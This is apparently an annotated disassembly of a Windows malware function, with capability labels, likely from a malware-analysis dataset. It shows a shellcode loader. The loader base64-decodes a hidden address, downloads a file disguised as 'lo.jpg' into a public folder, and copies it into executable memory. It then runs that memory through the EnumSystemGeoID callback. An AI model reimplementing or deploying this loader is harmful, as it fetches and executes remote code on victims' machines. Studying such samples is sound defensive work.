Function at 0x4019a8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0xb8
mov dword [ebp - 0x84], sym.___gxx_personality_sj0
mov dword [ebp - 0x80], 0x4ca8d8
lea eax, [ebp - 0x7c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x401b8d
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x9c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
call dbg.__main
lea eax, [ebp - 0x40]
mov dword [esp + 4], 0x4da020
mov dword [esp], eax
mov dword [ebp - 0x98], 0xffffffff
call sym.base64_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [ebp - 0x98], 1
call sym.base64_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x58]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [esp + 4], str.C:UsersPublicDownloadslo.jpg
mov dword [esp], eax
mov dword [ebp - 0x98], 2
call sym.DownloadFiles_char_const__char_const_
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [ebp - 0x5c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], str.C:UsersPublicDownloadslo.jpg
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x98], 0xffffffff
call eax
sub esp, 0x1c
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x5c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x10
mov eax, dword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
call eax
sub esp, 0xc
mov eax, 0
mov dword [ebp - 0xa0], eax
jmp 0x401bd4
lea eax, [ebp - 0x9c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0xa0]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret